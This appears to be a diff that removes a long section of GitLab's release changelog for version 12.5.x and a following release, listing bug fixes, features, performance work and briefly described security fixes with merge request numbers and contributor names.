-### Fixed (101 changes, 16 of them are from the community)
-
-- Fix delete user dialog bypass caused by hitting enter. !17343
-- Fix broken UI on Environment folder. !17427 (Takuya Noguchi)
-- Fix award emoji tooltip being escaped twice if multiple people voted. !19273 (Brian T)
-- Use cascading deletes for deleting oauth_openid_requests upon deleting an oauth_access_grant. !19617
-- Update merging an MR behavior on the API when pipeline fails. !19641 (briankabiro)
-- Vertically align collapse button on epic sidebar. !19656
-- Fix projects list to show info in user's locale. !20015 (Arun Kumar Mohan)
-- Update padding for cluster alert warning. !20036 (George Tsiolis)
-- Show correct warning on issue when project is archived. !20078
-- Resets aria-describedby on mouseleave. !20092 (carolcarvalhosa)
-- Allow patch notes on repo tags page to word wrap. !20135
-- Remove Release edit url for users not allowed to update a release. !20136
-- Fix group managed accounts members cleanup. !20157
-- Epic tree bug fixes. !20209
-- Add missing external-link icon for Crossplane managed app. !20283
-- Fixes MR approvers tooltip wrong color. !20287 (Dheeraj Joshi)
-- Ignore empty MR diffs when migrating to external storage. !20296
-- Add link color to design comments. !20302
-- Fix graph groups in monitor dashboard that are hidden on load. !20312
-- Update Container Registry naming restrictions to allow for sequential '-'. !20318
-- Fixed monitor charts from throwing error when zoomed. !20331
-- Validate the merge sha before merging, confirming that the merge will only contain what the user saw. !20348
-- Change container registry column name from Tag ID to Image ID. !20349
-- Fix dropdown location on the monitoring charts. !20400
-- Fixed project import from export ignoring namespace selection. !20405
-- Backup: Disable setting of ACL for Google uploads. !20407
-- Fix documentation link from empty environment dashboard. !20415
-- Move persistent_ref.create into run_after_commit. !20422
-- Update external link to provider in cluster settings. !20425
-- Fix issue trying to edit weight with collapsed sidebar as guest. !20431
-- Handle empty stacktrace and entries with no code. !20458
-- Refactor the Deployment model so state machine events are used by both CI and the API. !20474
-- Guest users should not delete project snippets they created. !20477
-- Accept user-defined dashboard uids in Grafana embeds. !20486
-- Fix multi select input padding in project and group user select. !20520 (Kevin Lee)
-- Use correct fragment identifier for vulnerability help path. !20524
-- Fix group search in groups dropdown. !20535
-- Fix removing of child epics that belong to subgroups. !20610
-- Fix opening Sentry error details in new tab. !20611
-- Ensure next unresolved discussion button takes user to the right place. !20620
-- Allow Gitlab GKE clusters to access Google Cloud Registry private images. !20662 (Tan Yee Jian)
-- Fix cron parsing for Daylight Savings. !20667
-- Fix incorrect new branch name from issue. !20677 (Lee Tickett)
-- Improve the way the metrics dashboard waits for data. !20687
-- Remove destroy_personal_snippet ability. !20717
-- Try longer to clean up after using a gpg-keychain and raise exption if the cleanup fails. !20718
-- Fix tooltip hovers in environments table. !20737
-- Remove DB transaction from Rebase operation. !20739
-- Improve UX for vulnerability dismissal note. !20768
-- Fix change to default foreground and backgorund colors in job log. !20787
-- Display Labels item in sidebar when Issues are disabled. !20817
-- Junit success percentage no longer displays 100% if there are failures. !20835
-- Ensure to check create_personal_snippet ability. !20838
-- Fix a display bug in the fork removal description message. !20843
-- Validate unique environment scope for instance clusters. !20886
-- Add empty region when group metrics are missing. !20900
-- Adjust issue metrics first_mentioned_in_commit_at calculation. !20923
-- Update copy on managed namespace prefixes. !20935
-- Add protected branch permission check to run downstream pipelines. !20964
-- Fix assignee url in issue board sidebar. !20992 (Lee Tickett)
-- Retrieve issues from subgroups when rendering group milestone. !21024
-- Adds 409 when user cannot be soft deleted through the API. !21037
-- Respect the timezone reported from Gitaly. !21066
-- Fix Container repositories can not be replicated when s3 is used. !21068
-- Remove redundant toast.scss file and variables. !21105
-- Respect snippet query params when displaying embed urls. !21131
-- Remove action buttons from designs tab if there are no designs. !21186
-- Correctly return stripped PGP text. !21187 (Roger Meier)
-- Fix error when linking already linked issue to epic. !21213
-- Do not attribute unverified commit e-mails to GitLab users. !21214
-- Add nonunique indexes to Labels. !21230
-- Fix snippet routes. !21248
-- Fix Zoom Quick Action server error when creating a GitLab Issue. !21262
-- Rename snippet refactored routes. !21267
-- Validate connection section in direct upload config. !21270
-- Fix pipeline retry in a CI DAG. !21296
-- Authenticate runner requests in Rack::Attack. !21311
-- Fix top border of README file header in file list. !21314
-- Fix forking a deduplicated project after it was moved to a different shard. !21339
-- Fix misaligned approval tr. !21368 (Lee Tickett)
-- Fix crash registry contains helm charts. !21381
-- Web IDE: Fix the console error that happens when discarding a newly added/uploaded file. !21537
-- Authenticate requests with job token as basic auth header for request limiting. !21562
-- Fix Single-File-Editor-Layout breaking when branch name is too long. !21577 (Roman Kuba)
-- Fix top border of README in vue_file_list. !21578 (Hector Bustillos)
-- Stage dropdown lists style corrections. !21607 (Hector Bustillos)
-- Change commit_id type on commit_user_mentions table. !21651
-- Do not clean the prometheus metrics directory for sidekiq. !21671
-- !21542 Part 1: Add new utils for Web IDE store. !21673
-- Update auto-deploy-image to v0.8.3. !21696
-- Match external user new snippet button visibility to permissions. !21718
-- Links to design comments now lead to specific note. !21724
-- Re-enable the cloud run feature. !21762
-- Ensure forks count cache refresh for source project. !21771
-- Fix padding on the design comments. !21839
-- Fix "Discard all" for new and renamed files. !21854
-- Fix project file finder url encoding file path separators. !21861
-- Ensure namespace is present for Managed-Cluster-Applications CI template. !21903
-- Rename common template jobs in sast and ds. !22084
-- Fixed query behind release filter on merge request search page. !38244
-- Activate projects Prometheus service integration when Prometheus managed application is installed on shared cluster.
-
-### Deprecated (4 changes)
-
-- Drop deprecated column from projects table. !18914
-- Limit number of projects displayed in GET /groups/:id API. !20023
-- Move operations project routes under - scope. !20456
-- Move wiki routing under /-/ scope. !21185
-
-### Changed (60 changes, 10 of them are from the community)
-
-- Use better context-specific empty state screens for the Security Dashboards. !18382
-- Add evidence collection for Releases. !18874
-- Update information and button text for deployment footer. !18918
-- Move merge request description into discussions tab. !18940
-- Keep details in MR when changing target branch. !19138
-- Make internal projects poolable. !19295 (briankabiro)
-- Enable support for multiple content query in GraphQL Todo API. !19576
-- Allow merge without refresh when new commits are pushed. !19725
-- Correct link to Merge trains documentation on MR widget. !19726
-- Preserve merge train history. !19864
-- Support go-source meta tag for godoc.org. !19888 (Ethan Reesor (@firelizzard))
-- Display a better message when starting a discussion on a deleted comment. !20031 (Jacopo Beschi @jacopo-beschi)
-- Add sort param to error tracking issue index. !20101
-- Add template repository usage to the usage ping. !20126 (minghuan lei)
-- Convert flash epic error to form validation error. !20130
-- Add 'download' button to Performance Bar. !20205 (Will Chandler)
-- SaaS trial copy shows plan. !20207
-- Add rbac access to knative-serving namespace deployments to get knative version information. !20244
-- Unlock button changed from Icon to String. !20307
-- Upgrade to Gitaly v1.72.0. !20313
-- Increase upper limit of start_in attribute to 1 week. !20323 (Will Layton)
-- Add CI variable to show when Auto-DevOps is explicitly enabled. !20332
-- Hashed Storage attachments migration: exclude files in object storage as they are all hashed already. !20338
-- Removes caching for design tab discusisons. !20374
-- Fixes to inconsistent margins/sapcing in the project detail page. !20395
-- Changes to how the search term is styled in the results. !20416
-- Move confidence column in the security dashboard. !20435 (Dheeraj Joshi)
-- Upgrade to Gitaly v1.73.0. !20443
-- Replacing incorrect icon in security dashboard. !20510
-- Rework pod logs navigation scheme. !20578
-- Reduce start a trial rocket emoji size. !20579
-- Upgrade auto-deploy-image for helm default values file. !20588
-- Exposed deployment build manual actions for merge request page. !20615
-- Upgrade to Gitaly v1.74.0. !20706
-- Fetches initial merge request widget data async. !20719
-- Add service desk information to project graphQL endpoint. !20722
-- Add admin mode controller path to Rack::Attack defaults. !20735 (Diego Louzán)
-- Add more filters to SnippetsFinder. !20767
-- Clean up the cohorts table. !20779
-- Remove vulnerability counter from security tab. !20800
-- Only blacklist IPs from Git requests. !20828
-- Optimize Deployments endpoint by preloading associations and make record ordering more consistent. !20848
-- Update deploy instances color scheme. !20890
-- Add service desk information to projects API endpoint. !20913
-- Added event tracking to the package details installation components. !20967
-- Hide Merge Request information on milestones when MRs are disabled for project. !20985 (Wolfgang Faust)
-- Upgrade to Gitaly v1.75.0. !21045
-- Evidence - Added restriction for guest on Release page. !21102
-- Increase lower DAG `needs` limit from five to ten. !21237
-- Add doc links to features on admin dashboard. !21419
-- Autofocus cluster dropdown search input. !21440
-- Add autofocus to label search fields. !21508
-- When a forked project is less visible than its source, merge requests opened in the fork now target the less visible project by default. !21517
-- UI improvements in the views for new project from template and the user groups and snippets. !21524 (Hector Bustillos)
-- Show merge immediately dialog even if the MR's pipeline hasn't finished. !21556
-- Support toggling service desk from API. !21627
-- Make `workflow:rules` to work well with Merge Requests. !21742
-- Upgrade to Gitaly v1.76.0. !21857
-- Remove authentication step from visual review tools instructions.
-- Fixes wording on runner admin.
-
-### Performance (22 changes)
-
-- Optimize query for CI pipelines of merge request. !19653
-- Replace index on environments table project_id and state with project_id, state, and environment_type. !19902
-- Remove reactive caching value keys once the alive key has expired. !20111
-- Suggest squash commit messages based on recent commits. !20231
-- Improve performance of /api/:version/snippets/public API and only return public personal snippets. !20339
-- Add limit for snippet content size. !20346
-- Reduce Gitaly calls in BuildHooksWorker. !20365
-- Enable ETag caching for MR notes polling. !20440
-- Disable public project counts on welcome page. !20517
-- Optimize query when Projects API requests private visibility level. !20594
-- Improve issues search performance on GraphQL. !20784
-- UpdateProjectStatistics updates after commit. !20852
-- Run housekeeping after moving a repository between shards. !20863
-- Require group_id or project_id for MR target branch autocomplete action. !20933
-- Cache the ancestor? Gitaly call to speed up polling for the merge request widget. !20958
-- Optimize loading the repository deploy keys page. !20970
-- Added lightweight check when retrieving Prometheus metrics. !21099
-- Limit max metrics embeds in GFM to 100. !21356
-- Fork Puma to validate scheduler fixes. !21547
-- Remove an N+1 call rendering projects search results. !21626
-- Skip updating LFS objects in mirror updates if repository has not changed. !21744
-- Add indexes on deployments to improve environments search. !21789
-
-### Added (119 changes, 18 of them are from the community)
-
-- Add upvote/downvotes attributes to GraphQL Epic query. !14311
-- Delete kubernetes cluster association and resources. !16954
-- Add badge name field. !16998 (Lee Tickett)
-- Add OmniAuth authentication support to admin mode feature. !18214 (Diego Louzán)
-- Creates DB tables for storing mentioned users, groups, projects referenced in a note or issuable description. !18316
-- Add body data elements for pageview context. !18450
-- Added filtering of inherited members for subgroups. !18842
-- Added responsiveness to audit events table. !18859
-- Add ability to make Jira comments optional. !19004
-- Store users, groups, projects mentioned in Markdown to DB tables. !19088
-- Upgrade `mail_room` gem to 0.10.0 and enable structured logging. !19186
-- Add possibility to save max issue weight on lists. !19220
-- Return 422 status code in case of error in submitting comments. !19276 (raju249)
-- Add Personal Access Token expiration reminder. !19296
-- Add recent search to error tracking. !19301
-- Resolve Limit the number of stored sessions per user. !19325
-- Add services for 'soft-delete for groups' feature. !19358
-- Notify user when over 1000 epics in roadmap. !19419
-- Search list of Sentry errors by title in GitLab. !19439
-- Add issue statistics to releases on the Releases page. !19448
-- Add snowplow events for monitoring dashboard. !19455
-- Add snowplow events for APM. !19463
-- Add GraphQL mutation to mark all todos done for a user. !19482
-- Added rules configuration for Ci::Bridge. !19605
-- Add workers for 'soft-delete for groups' feature. !19679
-- add tagger within tag view. !19681 (Roger Meier)
-- Strong validate import export references. !19682
-- Update Release API with evidence related data. !19706
-- Graphql query for issues can now be sorted by weight. !19721
-- GraphQL for Sentry rror details. !19733
-- View closed issues in epic. !19741
-- Add API endpoint to unpublish GitLab Pages. !19781
-- Add Pipeline Metadata to Packages. !19796
-- Create data model for serverless domains. !19835
-- Add Unify Circuit project integration service. !19849 (Fabio Huser)
-- add sha256 fingerprint to keys model, view and extend users API to search user via fingerprint. !19860 (Roger Meier)
-- Allow order_by updated_at in Pipelines API. !19886
-- Implement pagination for project releases page. !19912 (Fabio Huser)
-- Add migrations for secret snippets. !19939
-- Control passing artifacts from CI DAG needs. !19943
-- Genereate a set of sample prometheus metrics and route to the sample metrics when enabled. !19987
-- Add warning dialog when users click the "Merge immediately" merge train option. !20054
-- Expose moved_to_id in issues API. !20083 (Lee Tickett)
-- Relate issues when they are marked as duplicated. !20161 (minghuan lei)
-- Asks for confirmation before changing project visibility level. !20170
-- Allow CI config path to point to a URL or file in a different repository. !20179
-- Allow groups to disable mentioning their members, if the group is mentioned. !20184 (Fabio Huser)
-- Add modsecurity deployment counts to usage ping. !20196
-- Added legend to deploy boards. !20208
-- Support passing CI variables via git push options. !20255
-- Add GraphQL mutation to restore a Todo. !20261
-- Allow specifying Kubernetes namespace for an environment in gitlab-ci.yml. !20270
-- Add migrations for 'soft-delete for groups' feature. !20276
-- Add Maven installation commands to package detail page for Maven packages. !20300
-- Add feature to allow specifying userWithId strategies per environment spec. !20325
-- Enable creating Amazon EKS clusters from GitLab. !20333
-- Add ability to create new issue from sentry error detail page. !20337
-- Convert flash alerts to toasts. !20356
-- Return project commit url instead of commits url. !20369 (raju249)
-- Collect the date a SaaS trial starts on. !20384
-- Add option to delete cached Kubernetes namespaces. !20411
-- Create container expiration policies for projects. !20412
-- Adjust fork network relations upon project visibility change. !20466
-- Create a license info rake task. !20501 (Jason Colyer)
-- Add GraphQL mutation for changing due date of an issue. !20577
-- Add Snippet GraphQL resolver endpoints. !20613
-- Allow Job-Token authentication on Releases creation API. !20632
-- Add created_before/after filter to group/project audit events. !20641
-- Allow searching of projects by full path. !20659
-- Allow administrators to set a minimum password length. !20661
-- Update helper text for sentry error tracking settings. !20663 (Rajendra Kadam)
-- Adds ability to create issues from sentry details page. !20666
-- Add coverage difference visualization to merge request page. !20676 (Fabio Huser)
-- Use CI configured namespace for deployments to unmanaged clusters. !20686
-- Resolve Design view: Download single issue design image. !20703
-- Import large gitlab_project exports via rake task. !20724
-- Added Total/Frontend metrics to the performance bar. !20725
-- Add dependency scanning flag for skipping automatic bundler audit update. !20743
-- Add GraphQL mutation for setting an issue as confidential. !20785
-- Track adding metric via monitoring dashboard. !20818
-- Add _links object to package api response. !20820
-- CI template for installing cluster applications. !20822
-- Add SalesforceDX project template. !20831
-- Allow NPM package downloads with CI_JOB_TOKEN. !20868
-- Allow raw blobs to be served from an external storage. !20936
-- Added Snippets GraphQL mutations. !20956
-- Added WebHookLogs for ServiceHooks. !20976
-- Surface GitLab issue in error detail page. !21019
-- Add type to broadcast messages. !21038
-- add OpenAPI file viewer. !21106 (Roger Meier)
-- Add updated_before and updated_after filters to the Pipelines API endpoint. !21133
-- Implement pagination for sentry errors. !21136
-- Add support for Conan package management in the package registry. !21152
-- Add syntax highlight for Sentry error stack trace. !21182
-- Keyset pagination for REST API (Project endpoint). !21194
-- CI template for Sentry managed app. !21208
-- Add CI variable to set the version of pip when scanning dependencies of Python projects. !21218
-- Add dependency scanning flag for specifying pip requirements file for scanning. !21219
-- Do not allow specifying a Kubernetes namespace via CI template for managed clusters. !21223
-- Sort Sentry error list by first seen, last seen or frequency. !21250
-- Add documentation about dependency scanning gradle support. !21253
-- Allow PDF attachments to be opened on browser. !21272
-- Add child label to commit box. !21323
-- Update Knative to 0.9.0. !21361 (cab105)
-- Add target_path to broadcast message API. !21430
-- Allow Kubernetes namespaces specified via CI template to be used for terminals, pod logs and deploy boards. !21460
-- Allow styling broadcast messages. !21522
-- Enable new job log by default. !21543
-- Document support for sbt dependency scanning. !21588
-- Return multiple errors from CI linter. !21589
-- Add specific error states to dashboard. !21618
-- Add timestamps to pod logs. !21663
-- Hide profile information when user is blocked. !21706
-- link to group on group admin page. !21709
-- Added migration which adds service desk username column. !21733
-- Add SentryIssue table to store a link between issue and sentry issue. !37026
-- Add path based targeting to broadcast messages.
-- Add allow failure in pipeline webhook event. !20978 (Gaetan Semet)
-- Add runner information in build web hook event. !20709 (Gaetan Semet)
-
-### Other (51 changes, 28 of them are from the community)
-
-- Remove done callbacks from vue_shared/components/markdown. !16842 (Lee Tickett)
-- Update timeago to the latest release. !19407
-- Improve job tokens and provide access helper. !19793
-- Add post deployment migration to complete pages metadata migration. !19928
-- Resolve Document - Make using GitLab auth with Vault easy. !19980
-- Remove IIFEs from gl_dropdown.js. !19983 (nuwe1)
-- Improve sparkline chart in MR widget deployment. !20085
-- Updated jekyll project_template. !20090 (Marc Schwede)
-- Updated hexo project_template. !20105 (Marc Schwede)
-- Updated hugo project_template. !20109 (Marc Schwede)
-- Resolve environment rollback was not friendly. !20121
-- Removed all references of BoardService. !20144 (nuwe1)
-- Removes references of BoardService in list file. !20145 (nuwe1)
-- replace var gl_dropdown.js. !20166 (nuwe1)
-- delete board_service.js. !20168 (nuwe1)
-- Improve create confidential MR dropdown styling. !20176 (Lee Tickett)
-- Remove milestone_id from epics. !20187 (Lee Tickett)
-- Remove build badge path from route. !20188 (Lee Tickett)
-- Add worker attributes to Sidekiq metrics. !20292
-- Update GitLab Runner Helm Chart to 0.11.0. !20461
-- add missing test for add_index rubocop rule. !20464 (Eric Thomas)
-- Suppress progress on pulling image on Code Quality of Auto DevOps. !20604 (Takuya Noguchi)
-- Increase margin between project stats. !20606
-- Remove extra spacing below sidebar time tracking info. !20657 (Lee Tickett)
-- Add e2e qa test for email delivery. !20675 (Diego Louzán)
-- Collect project import failures instead of failing fast. !20727
-- Removed unused methods in monitoring dashboard. !20819
-- removes references of BoardService. !20872 (nuwe1)
-- removes references of BoardService. !20874 (nuwe1)
-- removes references of BoardService. !20875 (nuwe1)
-- removes references of BoardService. !20876 (nuwe1)
-- removes references of BoardService. !20877 (nuwe1)
-- removes references of BoardService. !20879 (nuwe1)
-- removes references of BoardService. !20880 (nuwe1)
-- removes references of BoardService. !20881 (nuwe1)
-- Remove whitespaces between tree-controls elements. !20952
-- Add Project Export request/download rate limits. !20962
-- Remove feature flag for limiting diverging commit counts. !20999
-- Changed 'Add approvers' to 'Approval rules'. !21079
-- Resolve Add missing popover and remove none in MR widget. !21095
-- Change Puma log format to JSON. !21101
-- Update GitLab Shell to v10.3.0. !21151
-- Improve diff expansion text. !21616
-- Remove var from app/assets/javascripts/commit/image_file.js. !21649 (Abubakar Hassan)
-- Rename User#full_private_access? to User#can_read_all_resources?. !21668 (Diego Louzán)
-- Replace CI_COMMIT_REF with CI_COMMIT_SHA on CI docs. !21781 (Takuya Noguchi)
-- Add reportSnippet permission to Snippet GraphQL. !21836
-- Harmonize capitalization on cluster UI. !21878 (Evan Read)
-- Add mark as spam snippet mutation. !21912
-- Update Workhorse to v8.18.0. !22091
-- Replace Font Awesome bullhorn icon with GitLab bullhorn icon.
-
-
-## 12.5.8
-
-### Security (19 changes, 1 of them is from the community)
-
-- Prevent gafana integration token from being displayed as a plain text to other project maintainers, by only displaying a masked version of it.
-- Update rdoc to 6.1.2.
-- Bump rubyzip to 2.0.0. (Utkarsh Gupta)
-- Cleanup todos for users from a removed linked group.
-- Disable access to last_pipeline in commits API for users without read permissions.
-- Add constraint to group dependency proxy endpoint param.
-- Limit number of AsciiDoc includes per document.
-- Prevent API access for unconfirmed users.
-- Enforce permission check when counting activity events.
-- Update rack-cors to 1.0.6.
-- Fix xss on frequent groups dropdown.
-- Fix XSS vulnerability on custom project templates form.
-- Protect internal CI builds from external overrides.
-- ImportExport::ExportService to require admin_project permission.
-- Make sure that only system notes where all references are visible to user are exposed in GraphQL API.
-- Disable caching of repository/files/:file_path/raw API endpoint.
-- Make cross-repository comparisons happen in the source repository.
-- Update excon to 0.71.1 to fix CVE-2019-16779.
-- Add workhorse request verification to package upload endpoints.
-
-### Changed (1 change, 1 of them is from the community)
-
-- Add template repository usage to the usage ping. !20126 (minghuan lei)
-
-
-## 12.5.5
-
-### Security (1 change)
-
-- Upgrade Akismet gem to v3.0.0. !21786
-
-### Fixed (2 changes)
-
-- Fix error in updating runner session. !20902
-- Fix Asana integration. !21501
-
-
-## 12.5.4
-
-### Security (1 change)
-
-- Update maven_file_name_regex for full string match.
-
-
-## 12.5.3
-
-### Fixed (4 changes)
-
-- Fix project creation with templates using /projects/user/:id API. !20590
-- Fix merging merge requests from push options. !20639
-- Fix Crossplane help link in cluster applications page. !20668
-- Fixes job log not scrolling to the bottom.
-
-### Changed (1 change)
-
-- Flatten exception details in API and controller logs. !20434
-
-
-## 12.5.1
-
-### Security (11 changes)
-
-- Do not create todos for approvers without access. !1442
-- Hide commit counts from guest users in Cycle Analytics.
-- Encrypt application setting tokens.
-- Update Workhorse and Gitaly to fix a security issue.
-- Add maven file_name regex validation on incoming files.
-- Check permissions before showing a forked project's source.
-- Limit potential for DNS rebind SSRF in chat notifications.
-- Ensure are cleaned by ImportExport::AttributeCleaner.
-- Remove notes regarding Related Branches from Issue activity feeds for guest users.
-- Escape namespace in label references to prevent XSS.
-- Add authorization to using filter vulnerable in Dependency List.
-
-
-## 12.5.0
-
-### Security (15 changes)
-
-- Enable the HttpOnly flag for experimentation_subject_id cookie. !19189
-- Update incrementing of failed logins to be thread-safe. !19614
-- Sanitize all wiki markup formats with GitLab sanitization pipelines.
-- Sanitize search text to prevent XSS.
-- Remove deploy access level when project/group link is deleted.
-- Mask sentry auth token in Error Tracking dashboard.
-- Return 404 on LFS request if project doesn't exist.
-- Don't leak private members in project member autocomplete suggestions.
-- Require Maintainer permission on group where project is transferred to.
-- Don't allow maintainers of a target project to delete the source branch of a merge request from a fork.
-- Disallow unprivileged users from commenting on private repository commits.
-- Analyze incoming GraphQL queries and check for recursion.
-- Show cross-referenced label and milestones in issues' activities only to authorized users.
-- Do not display project labels that are not visible for user accessing group labels.
-- Standardize error response when route is missing.
-
-### Fixed (100 changes, 15 of them are from the community)
-
-- Fix incorrect selection of custom templates. !17205
-- Smaller width for design comments layout, truncate image title. !17547
-- Correctly cleanup orphan job artifacts. !17679 (Adam Mulvany)
-- Add Infinite scroll to Add Projects modal in the operations dashboard. !17842
-- Allow emojis to be linkable. !18014
-- Enable image link and lazy loading in AsciiDoc documents. !18164 (Guillaume Grossetie)
-- Expose prometheus status to monitor dashboard. !18289
-- Time limit the database lock when rebasing a merge request. !18481
-- Fix missing admin mode UI buttons on bigger screen sizes. !18585 (Diego Louzán)
-- Abort only MWPS when FF only merge is impossible. !18591
-- Remove pointer cursor from MemoryUsage chart on MR widget deployment. !18599
-- Fix keyboard shortcuts in header search autocomplete. !18685
-- Fix empty chart in collapsed sections. !18699
-- Fix error when viewing group billing page. !18740
-- Fix query validation in custom metrics form. !18769
-- Fix Gitaly call duration measurements. !18785
-- Resolve Error when uploading a few designs in a row. !18811
-- Block MR with OMIPS on skipped pipelines. !18838
-- Pipeline vulnerability dashboard sort vulnerabilities by severity then confidence. !18863
-- Remove empty Github service templates from database. !18868
-- Fix broken images when previewing markdown files in Web IDE. !18899
-- fixed #27164 Image cannot be collapsed on merge request changes tab. !18917 (Jannik Lehmann)
-- Let ANSI \r code replace the current job log line. !18933
-- Fix serverless function descriptions not showing on Knative 0.7. !18973
-- Fix "project or group was moved" alerts showing up in the wrong pages. !18985
-- Add missing breadcrumb in Project > Settings > Integrations. !18990
-- Fixed admin geo collapsed sidebar fly out not showing. !19012
-- Serialize short sha as nil if head commit is blank. !19014
-- Add max width on manifest file attachment input. !19028
-- Do not generate To-Dos additional when editing group mentions. !19037
-- Fix previewing quick actions for epics. !19042
-- Fix errors in GraphQL Todos API due to missing TargetTypeEnum values. !19052
-- Hashed Storage Migration: Handle failed attachment migrations with existing target path. !19061
-- Set shorter TTL for all unauthenticated requests. !19064
-- Fix Todo IDs in GraphQL API. !19068
-- Triggers the correct endpoint on licence approval. !19078
-- Fix search button height on 404 page. !19080
-- Fix Kubernetes help text link. !19121
-- Make `jobs/request` to be resillient. !19150
-- Disable pull mirror if repository is in read-only state. !19182
-- Only enable protected paths for POST requests. !19184
-- Enforce default, global project and snippet visibilities. !19188
-- Make Bitbucket Cloud superseded pull requests as closed. !19193
-- Fix crash when docker fails deleting tags. !19208
-- Fix environment name in rollback dialog. !19209
-- Fixed a typo in the "Keyboard Shortcuts" pop-up. !19217 (Manuel Stein)
-- Fix unable to expand or collapse files in merge request by clicking caret. !19222 (Brian T)
-- Allow release block edit button to be visible. !19226
-- Fix double escaping in /tableflip quick action. !19271 (Brian T)
-- Add missing bottom padding in CI/CD settings. !19284 (George Tsiolis)
-- Prevents console warning on design upload. !19297
-- Resolve: Web IDE does not create POSIX Compliant Files. !19339
-- Use initial commit SHA instead of branch id to request IDE files and contents. !19348 (David Palubin)
-- Resolve: Web IDE Throws Error When Viewing Diff for Renamed Files. !19348
-- Fix project service API 500 error. !19367
-- Fix cluster feature highlight popover image. !19372
-- Fix template selector filename bug. !19376
-- Fixes mobile styling issues on security modals. !19391
-- Only move repos for legacy project storage. !19410
-- Show correct total number of commit diff's changes. !19424
-- Increase the timeout for GitLab-managed cert-manager installation to 90 seconds (was 30 seconds). !19447
-- Fix uninitialized constant SystemDashboardService. !19453
-- Properly handle exceptions in StuckCiJobsWorker. !19465
-- Fix user popover not being displayed when the user has a status message. !19519
-- Update omniauth_openid_connect to v0.3.3. !19525
-- Fix project clone dropdown button width. !19551 (George Tsiolis)
-- Do not escape HTML tags in Ansi2json as they are escaped in the frontend. !19610
-- [Geo] Fix: undefined Gitlab::BackgroundMigration::PruneOrphanedGeoEvents. !19638
-- Revert btn-xs styling in projects scss. !19640
-- Fix canary badge and favicon inconsistency. !19645
-- Use fingerprint when comparing security reports in MR widget. !19654
-- Update GCP credit URLs. !19683
-- Update squash_commit_sha only on successful merge. !19688
-- Fix import of snippets having `award_emoji` (Project Export/Import). !19690
-- Allow admins to administer personal snippets. !19693 (Oren Kanner)
-- Re-add missing file sizes in 2-Up diff file viewer. !19710
-- Fix checking task item when previous tasks contain only spaces. !19724
-- Fix Bitbucket Cloud importer pull request state. !19734
-- Fix merge train is not refreshed when the system aborts/drops a merge request. !19763
-- Resolve Hide Delete selected in designs when viewing an old version. !19889
-- Use new trial registration URL in billing. !19978
-- Helm v2.16.1. !19981
-- Ensure milestone titles are never empty. !19985
-- Remove unused image/screenshot. !20030 (Lee Tickett)
-- Remove local qualifier from geo sync indicators. !20034 (Lee Tickett)
-- Fixed the scale of embedded videos to fit the page. !20056
-- Fix broken monitor cluster health dashboard. !20120
-- Fix expanding collapsed threads when reference link clicked. !20148
-- Fix sub group export to export direct children. !20172
-- Remove update hook from date filter to prevent js from getting stuck. !20215
-- Prevent Dropzone.js initialisation error by checking target element existence. !20256 (Fabio Huser)
-- Fix style reset in job log when empty ANSI sequence is encoutered. !20367
-- Add productivity analytics merge date filtering limit. !32052
-- Fix productivity analytics listing with multiple labels. !33182
-- Fix closed board list loading issue.
-- Apply correctly the limit of 10 designs per upload.
-- Only allow confirmed users to run pipelines.
-- Fix scroll to bottom with new job log.
-- Fixed protected branches flash styling.
-- Show tag link whenever it's a tag in chat message integration for push events and pipeline events. !18126 (Mats Estensen)
-
-### Deprecated (2 changes)
-
-- Ignore deprecated column and remove references to it. !18911
-- Move some project routes under - scope. !19954
-
-### Changed (56 changes, 6 of them are from the community)
-
-- Upgrade design/copy for issue weights locked feature. !17352
-- Reduce new MR page redundancy by moving the source/target branch selector to the top. !17559
-- Replace raven-js with @sentry/browser. !17715
-- Ask if the user is setting up GitLab for a company during signup. !17999
-- When a user views a file's blame or blob and switches to a branch where the current file does not exist, they will now be redirected to the root of the repository. !18169 (Jesse Hall @jessehall3)
-- Propagate custom environment variables to SAST analyzers. !18193
-- Fix any approver project rule records. !18265
-- Minor UX improvements to Environments Dashboard page. !18280
-- Reduce the allocated IP for Cluster and Services. !18341
-- Update flash messages color sitewide. !18369
-- Add modsecurity template for ingress-controller. !18485
-- Hide projects without access to admin user when admin mode is disabled. !18530 (Diego Louzán)
-- Update Runners Settings Text + Link to Docs. !18534
-- Store Zoom URLs in a table rather than in the issue description. !18620
-- Improve admin dashboard features. !18666
-- Drop `id` column from `ci_build_trace_sections` table. !18741
-- Truncate recommended branch name to a sane length. !18821
-- Add support for YAML anchors in CI scripts. !18849
-- Save dashboard changes by the user into the vuex store. !18862
-- Update expired trial status copy. !18962
-- Can directly add approvers to approval rule. !18965
-- Rename Vulnerabilities API to Vulnerability Findings API. !19029
-- Improve clarity of text for merge train position. !19031
-- Updated Auto-DevOps to kubectl v1.13.12 and helm v2.15.1. !19054 (Leo Antunes)
-- Refactor maximum user counts in license. !19071 (briankabiro)
-- Change return type of getDateInPast to Date. !19081
-- Show approval required status in license compliance. !19114
-- Handle new Container Scanning report format. !19123
-- Allow container scanning to run offline by specifying the Clair DB image to use. !19161
-- Add maven cli opts flag to maven security analyzer (part of dependency scanning). !19174
-- Added report_type attribute to Vulnerabilities. !19179
-- Migrate enabled flag on grafana_integrations table. !19234
-- Improve handling of gpg-agent processes. !19311
-- Update help text of "Tag name" field on Edit Release page. !19321
-- Add user filtering to abuse reports page. !19365
-- Move add license button to project buttons. !19370
-- Update to Mermaid v8.4.2 to support more graph types. !19444
-- Move release meta-data into footer on Releases page. !19451
-- Expose subscribed field in issue lists queried with GraphQL. !19458 (briankabiro)
-- [Geo] Fix: rake gitlab:geo:check on the primary is cluttered. !19460
-- Hide trial banner for namespaces with expired trials. !19510
-- Hide repeated trial offers on self-hosted instances. !19511
-- Add loading icon to error tracking settings page. !19539
-- Upgrade to Gitaly v1.71.0. !19611
-- Make role required when editing profile. !19636
-- Made `name` optional parameter of Release entity. !19705
-- Vulnerabilities history chart - use sparklines. !19745
-- Add event tracking to container registry. !19772
-- Update SaaS trial header to include the tier Gold. !19970
-- Update start a trial option in top right drop down to include Gold. !19971
-- Improve merge request description placeholder. !20032 (Jacopo Beschi @jacopo-beschi)
-- Add backtrace to production_json.log. !20122
-- Change the default concurrency factor of merge train to 20. !20201
-- Upgrade to Gitaly v1.72.0.
-- Require explicit null parameters to remove pages domain certificate and allow to use Let's Encrypt certificates through API.
-- Replace wording trace with log.
-
-### Performance (13 changes)
-
-- Record latencies for Sidekiq failures. !18909
-- Fix N+1 for group container repositories view. !18979
-- Do not render links in commit message on blame page. !19128
-- Puma only: database connection pool now always >= number of worker threads. !19286
-- Run check_mergeability only if merge status requires it. !19364
-- Execute limited request for diff commits instead of preloading. !19485
